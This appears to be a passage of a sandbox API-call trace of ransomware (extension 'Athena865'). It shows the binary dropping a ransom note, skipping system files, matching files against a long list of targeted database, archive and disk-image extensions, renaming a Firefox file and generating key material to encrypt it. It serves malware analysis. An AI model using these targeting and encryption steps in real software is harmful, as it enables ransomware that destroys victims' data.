(lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\how to back your files.exe"), bFailIfExists=1) returned 1 [0045.734] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x390e8e80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a670, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="webapprt-stub.exe", cAlternateFileName="WEBAPP~2.EXE")) returned 1 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2=".") returned 1 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="..") returned 1 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="windows") returned -1 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="bootmgr") returned 1 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="temp") returned 1 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="pagefile.sys") returned 1 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="boot") returned 1 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="ids.txt") returned 1 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="ntuser.dat") returned 1 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="perflogs") returned 1 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2="MSBuild") returned 1 [0045.734] lstrlenW (lpString="webapprt-stub.exe") returned 17 [0045.734] lstrcpyW (in: lpString1=0x241e896, lpString2="webapprt-stub.exe" | out: lpString1="webapprt-stub.exe") returned="webapprt-stub.exe" [0045.734] lstrlenW (lpString="webapprt-stub.exe") returned 17 [0045.734] lstrlenW (lpString="Athena865") returned 9 [0045.734] lstrcmpiW (lpString1="-stub.exe", lpString2="Athena865") returned 1 [0045.734] lstrlenW (lpString=".dll") returned 4 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2=".dll") returned 1 [0045.734] lstrlenW (lpString=".lnk") returned 4 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2=".lnk") returned 1 [0045.734] lstrlenW (lpString=".ini") returned 4 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2=".ini") returned 1 [0045.734] lstrlenW (lpString=".sys") returned 4 [0045.734] lstrcmpiW (lpString1="webapprt-stub.exe", lpString2=".sys") returned 1 [0045.734] lstrlenW (lpString="webapprt-stub.exe") returned 17 [0045.734] lstrlenW (lpString="bak") returned 3 [0045.735] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0045.735] lstrlenW (lpString="ba_") returned 3 [0045.735] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0045.735] lstrlenW (lpString="dbb") returned 3 [0045.735] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0045.735] lstrlenW (lpString="vmdk") returned 4 [0045.735] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0045.735] lstrlenW (lpString="rar") returned 3 [0045.735] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0045.735] lstrlenW (lpString="zip") returned 3 [0045.735] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0045.735] lstrlenW (lpString="tgz") returned 3 [0045.735] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0045.735] lstrlenW (lpString="vbox") returned 4 [0045.735] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0045.735] lstrlenW (lpString="vdi") returned 3 [0045.735] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0045.735] lstrlenW (lpString="vhd") returned 3 [0045.735] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0045.735] lstrlenW (lpString="vhdx") returned 4 [0045.735] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0045.735] lstrlenW (lpString="avhd") returned 4 [0045.735] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0045.735] lstrlenW (lpString="db") returned 2 [0045.735] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0045.735] lstrlenW (lpString="db2") returned 3 [0045.735] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0045.735] lstrlenW (lpString="db3") returned 3 [0045.735] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0045.735] lstrlenW (lpString="dbf") returned 3 [0045.735] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0045.735] lstrlenW (lpString="mdf") returned 3 [0045.735] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0045.735] lstrlenW (lpString="mdb") returned 3 [0045.735] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0045.735] lstrlenW (lpString="sql") returned 3 [0045.736] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0045.736] lstrlenW (lpString="sqlite") returned 6 [0045.736] lstrcmpiW (lpString1="ub.exe", lpString2="sqlite") returned 1 [0045.736] lstrlenW (lpString="sqlite3") returned 7 [0045.736] lstrcmpiW (lpString1="tub.exe", lpString2="sqlite3") returned 1 [0045.736] lstrlenW (lpString="sqlitedb") returned 8 [0045.736] lstrcmpiW (lpString1="stub.exe", lpString2="sqlitedb") returned 1 [0045.736] lstrlenW (lpString="xml") returned 3 [0045.736] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0045.736] lstrlenW (lpString="$er") returned 3 [0045.736] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0045.736] lstrlenW (lpString="4dd") returned 3 [0045.736] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0045.736] lstrlenW (lpString="4dl") returned 3 [0045.736] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0045.736] lstrlenW (lpString="^^^") returned 3 [0045.736] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0045.736] lstrlenW (lpString="abs") returned 3 [0045.736] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0045.736] lstrlenW (lpString="abx") returned 3 [0045.736] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0045.736] lstrlenW (lpString="accdb") returned 5 [0045.736] lstrcmpiW (lpString1="b.exe", lpString2="accdb") returned 1 [0045.736] lstrlenW (lpString="accdc") returned 5 [0045.736] lstrcmpiW (lpString1="b.exe", lpString2="accdc") returned 1 [0045.736] lstrlenW (lpString="accde") returned 5 [0045.736] lstrcmpiW (lpString1="b.exe", lpString2="accde") returned 1 [0045.736] lstrlenW (lpString="accdr") returned 5 [0045.736] lstrcmpiW (lpString1="b.exe", lpString2="accdr") returned 1 [0045.736] lstrlenW (lpString="accdt") returned 5 [0045.736] lstrcmpiW (lpString1="b.exe", lpString2="accdt") returned 1 [0045.736] lstrlenW (lpString="accdw") returned 5 [0045.736] lstrcmpiW (lpString1="b.exe", lpString2="accdw") returned 1 [0045.736] lstrlenW (lpString="accft") returned 5 [0045.736] lstrcmpiW (lpString1="b.exe", lpString2="accft") returned 1 [0045.736] lstrlenW (lpString="adb") returned 3 [0045.736] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0045.737] lstrlenW (lpString="adb") returned 3 [0045.737] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0045.737] lstrlenW (lpString="ade") returned 3 [0045.737] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0045.737] lstrlenW (lpString="adf") returned 3 [0045.737] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0045.737] lstrlenW (lpString="adn") returned 3 [0045.737] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0045.737] lstrlenW (lpString="adp") returned 3 [0045.737] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0045.737] lstrlenW (lpString="alf") returned 3 [0045.737] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0045.737] lstrlenW (lpString="ask") returned 3 [0045.737] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0045.737] lstrlenW (lpString="btr") returned 3 [0045.737] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0045.737] lstrlenW (lpString="cat") returned 3 [0045.737] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0045.737] lstrlenW (lpString="cdb") returned 3 [0045.737] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0045.737] lstrlenW (lpString="ckp") returned 3 [0045.737] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0045.737] lstrlenW (lpString="cma") returned 3 [0045.737] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0045.737] lstrlenW (lpString="cpd") returned 3 [0045.737] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0045.737] lstrlenW (lpString="dacpac") returned 6 [0045.737] lstrcmpiW (lpString1="ub.exe", lpString2="dacpac") returned 1 [0045.737] lstrlenW (lpString="dad") returned 3 [0045.737] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0045.737] lstrlenW (lpString="dadiagrams") returned 10 [0045.737] lstrcmpiW (lpString1="t-stub.exe", lpString2="dadiagrams") returned 1 [0045.737] lstrlenW (lpString="daschema") returned 8 [0045.737] lstrcmpiW (lpString1="stub.exe", lpString2="daschema") returned 1 [0045.737] lstrlenW (lpString="db-journal") returned 10 [0045.737] lstrcmpiW (lpString1="t-stub.exe", lpString2="db-journal") returned 1 [0045.737] lstrlenW (lpString="db-shm") returned 6 [0045.738] lstrcmpiW (lpString1="ub.exe", lpString2="db-shm") returned 1 [0045.738] lstrlenW (lpString="db-wal") returned 6 [0045.738] lstrcmpiW (lpString1="ub.exe", lpString2="db-wal") returned 1 [0045.738] lstrlenW (lpString="dbc") returned 3 [0045.738] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0045.738] lstrlenW (lpString="dbs") returned 3 [0045.738] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0045.738] lstrlenW (lpString="dbt") returned 3 [0045.738] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0045.738] lstrlenW (lpString="dbv") returned 3 [0045.738] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0045.738] lstrlenW (lpString="dbx") returned 3 [0045.738] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0045.738] lstrlenW (lpString="dcb") returned 3 [0045.738] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0045.738] lstrlenW (lpString="dct") returned 3 [0045.738] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0045.738] lstrlenW (lpString="dcx") returned 3 [0045.738] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0045.738] lstrlenW (lpString="ddl") returned 3 [0045.738] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0045.738] lstrlenW (lpString="dlis") returned 4 [0045.738] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0045.738] lstrlenW (lpString="dp1") returned 3 [0045.738] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0045.738] lstrlenW (lpString="dqy") returned 3 [0045.738] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0045.738] lstrlenW (lpString="dsk") returned 3 [0045.738] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0045.738] lstrlenW (lpString="dsn") returned 3 [0045.738] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0045.738] lstrlenW (lpString="dtsx") returned 4 [0045.738] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0045.738] lstrlenW (lpString="dxl") returned 3 [0045.738] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0045.738] lstrlenW (lpString="eco") returned 3 [0045.738] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0045.739] lstrlenW (lpString="ecx") returned 3 [0045.739] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0045.739] lstrlenW (lpString="edb") returned 3 [0045.739] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0045.739] lstrlenW (lpString="epim") returned 4 [0045.739] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0045.739] lstrlenW (lpString="fcd") returned 3 [0045.739] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0045.739] lstrlenW (lpString="fdb") returned 3 [0045.739] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0045.739] lstrlenW (lpString="fic") returned 3 [0045.739] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0045.739] lstrlenW (lpString="flexolibrary") returned 12 [0045.739] lstrcmpiW (lpString1="prt-stub.exe", lpString2="flexolibrary") returned 1 [0045.739] lstrlenW (lpString="fm5") returned 3 [0045.739] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0045.739] lstrlenW (lpString="fmp") returned 3 [0045.739] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0045.739] lstrlenW (lpString="fmp12") returned 5 [0045.739] lstrcmpiW (lpString1="b.exe", lpString2="fmp12") returned -1 [0045.739] lstrlenW (lpString="fmpsl") returned 5 [0045.739] lstrcmpiW (lpString1="b.exe", lpString2="fmpsl") returned -1 [0045.739] lstrlenW (lpString="fol") returned 3 [0045.739] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0045.739] lstrlenW (lpString="fp3") returned 3 [0045.739] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0045.739] lstrlenW (lpString="fp4") returned 3 [0045.739] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0045.739] lstrlenW (lpString="fp5") returned 3 [0045.739] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0045.739] lstrlenW (lpString="fp7") returned 3 [0045.739] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0045.739] lstrlenW (lpString="fpt") returned 3 [0045.739] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0045.739] lstrlenW (lpString="frm") returned 3 [0045.739] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0045.740] lstrlenW (lpString="gdb") returned 3 [0045.740] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0045.740] lstrlenW (lpString="gdb") returned 3 [0045.740] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0045.740] lstrlenW (lpString="grdb") returned 4 [0045.740] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0045.740] lstrlenW (lpString="gwi") returned 3 [0045.740] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0045.740] lstrlenW (lpString="hdb") returned 3 [0045.740] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0045.740] lstrlenW (lpString="his") returned 3 [0045.740] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0045.740] lstrlenW (lpString="ib") returned 2 [0045.740] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0045.740] lstrlenW (lpString="idb") returned 3 [0045.740] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0045.740] lstrlenW (lpString="ihx") returned 3 [0045.740] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0045.740] lstrlenW (lpString="itdb") returned 4 [0045.740] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0045.740] lstrlenW (lpString="itw") returned 3 [0045.740] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0045.740] lstrlenW (lpString="jet") returned 3 [0045.740] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0045.740] lstrlenW (lpString="jtx") returned 3 [0045.740] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0045.740] lstrlenW (lpString="kdb") returned 3 [0045.740] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0045.740] lstrlenW (lpString="kexi") returned 4 [0045.740] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0045.740] lstrlenW (lpString="kexic") returned 5 [0045.740] lstrcmpiW (lpString1="b.exe", lpString2="kexic") returned -1 [0045.740] lstrlenW (lpString="kexis") returned 5 [0045.740] lstrcmpiW (lpString1="b.exe", lpString2="kexis") returned -1 [0045.740] lstrlenW (lpString="lgc") returned 3 [0045.740] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0045.740] lstrlenW (lpString="lwx") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0045.741] lstrlenW (lpString="maf") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0045.741] lstrlenW (lpString="maq") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0045.741] lstrlenW (lpString="mar") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0045.741] lstrlenW (lpString="marshal") returned 7 [0045.741] lstrcmpiW (lpString1="tub.exe", lpString2="marshal") returned 1 [0045.741] lstrlenW (lpString="mas") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0045.741] lstrlenW (lpString="mav") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0045.741] lstrlenW (lpString="maw") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0045.741] lstrlenW (lpString="mdbhtml") returned 7 [0045.741] lstrcmpiW (lpString1="tub.exe", lpString2="mdbhtml") returned 1 [0045.741] lstrlenW (lpString="mdn") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0045.741] lstrlenW (lpString="mdt") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0045.741] lstrlenW (lpString="mfd") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0045.741] lstrlenW (lpString="mpd") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0045.741] lstrlenW (lpString="mrg") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0045.741] lstrlenW (lpString="mud") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0045.741] lstrlenW (lpString="mwb") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0045.741] lstrlenW (lpString="myd") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0045.741] lstrlenW (lpString="ndf") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0045.741] lstrlenW (lpString="nnt") returned 3 [0045.741] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0045.742] lstrlenW (lpString="nrmlib") returned 6 [0045.742] lstrcmpiW (lpString1="ub.exe", lpString2="nrmlib") returned 1 [0045.742] lstrlenW (lpString="ns2") returned 3 [0045.742] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0045.742] lstrlenW (lpString="ns3") returned 3 [0045.742] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0045.742] lstrlenW (lpString="ns4") returned 3 [0045.742] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0045.742] lstrlenW (lpString="nsf") returned 3 [0045.742] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0045.742] lstrlenW (lpString="nv") returned 2 [0045.742] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0045.742] lstrlenW (lpString="nv2") returned 3 [0045.742] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0045.742] lstrlenW (lpString="nwdb") returned 4 [0045.742] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0045.742] lstrlenW (lpString="nyf") returned 3 [0045.742] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0045.742] lstrlenW (lpString="odb") returned 3 [0045.742] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0045.742] lstrlenW (lpString="odb") returned 3 [0045.742] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0045.742] lstrlenW (lpString="oqy") returned 3 [0045.742] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0045.742] lstrlenW (lpString="ora") returned 3 [0045.742] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0045.742] lstrlenW (lpString="orx") returned 3 [0045.742] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0045.742] lstrlenW (lpString="owc") returned 3 [0045.742] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0045.742] lstrlenW (lpString="p96") returned 3 [0045.742] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0045.742] lstrlenW (lpString="p97") returned 3 [0045.742] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0045.742] lstrlenW (lpString="pan") returned 3 [0045.742] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0045.742] lstrlenW (lpString="pdb") returned 3 [0045.743] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0045.743] lstrlenW (lpString="pdm") returned 3 [0045.743] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0045.743] lstrlenW (lpString="pnz") returned 3 [0045.743] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0045.743] lstrlenW (lpString="qry") returned 3 [0045.743] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0045.743] lstrlenW (lpString="qvd") returned 3 [0045.743] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0045.743] lstrlenW (lpString="rbf") returned 3 [0045.743] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0045.743] lstrlenW (lpString="rctd") returned 4 [0045.743] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0045.743] lstrlenW (lpString="rod") returned 3 [0045.743] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0045.743] lstrlenW (lpString="rodx") returned 4 [0045.743] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0045.743] lstrlenW (lpString="rpd") returned 3 [0045.743] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0045.743] lstrlenW (lpString="rsd") returned 3 [0045.743] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0045.743] lstrlenW (lpString="sas7bdat") returned 8 [0045.743] lstrcmpiW (lpString1="stub.exe", lpString2="sas7bdat") returned 1 [0045.743] lstrlenW (lpString="sbf") returned 3 [0045.743] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0045.743] lstrlenW (lpString="scx") returned 3 [0045.743] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0045.743] lstrlenW (lpString="sdb") returned 3 [0045.743] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0045.743] lstrlenW (lpString="sdc") returned 3 [0045.743] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0045.743] lstrlenW (lpString="sdf") returned 3 [0045.743] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0045.743] lstrlenW (lpString="sis") returned 3 [0045.743] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0045.743] lstrlenW (lpString="spq") returned 3 [0045.743] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0045.744] lstrlenW (lpString="te") returned 2 [0045.744] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0045.744] lstrlenW (lpString="teacher") returned 7 [0045.744] lstrcmpiW (lpString1="tub.exe", lpString2="teacher") returned 1 [0045.744] lstrlenW (lpString="tmd") returned 3 [0045.744] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0045.744] lstrlenW (lpString="tps") returned 3 [0045.744] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0045.744] lstrlenW (lpString="trc") returned 3 [0045.744] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0045.744] lstrlenW (lpString="trc") returned 3 [0045.744] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0045.744] lstrlenW (lpString="trm") returned 3 [0045.744] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0045.744] lstrlenW (lpString="udb") returned 3 [0045.744] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0045.744] lstrlenW (lpString="udl") returned 3 [0045.744] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0045.744] lstrlenW (lpString="usr") returned 3 [0045.744] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0045.744] lstrlenW (lpString="v12") returned 3 [0045.744] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0045.744] lstrlenW (lpString="vis") returned 3 [0045.744] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0045.744] lstrlenW (lpString="vpd") returned 3 [0045.744] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0045.744] lstrlenW (lpString="vvv") returned 3 [0045.744] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0045.744] lstrlenW (lpString="wdb") returned 3 [0045.744] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0045.744] lstrlenW (lpString="wmdb") returned 4 [0045.744] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0045.744] lstrlenW (lpString="wrk") returned 3 [0045.744] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0045.744] lstrlenW (lpString="xdb") returned 3 [0045.744] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0045.744] lstrlenW (lpString="xld") returned 3 [0045.745] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0045.745] lstrlenW (lpString="xmlff") returned 5 [0045.745] lstrcmpiW (lpString1="b.exe", lpString2="xmlff") returned -1 [0045.745] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe.Athena865") returned 66 [0045.745] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt-stub.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt-stub.exe.athena865"), dwFlags=0x1) returned 1 [0045.745] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt-stub.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0045.745] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=108144) returned 1 [0045.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0045.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0045.746] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0045.746] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0045.746] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0045.746] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.747] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a970, lpName=0x0) returned 0x17c [0045.749] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a970) returned 0x100000 [0045.755] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0045.756] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0045.756] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0045.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0045.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0045.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0045.756] HeapFree (in: 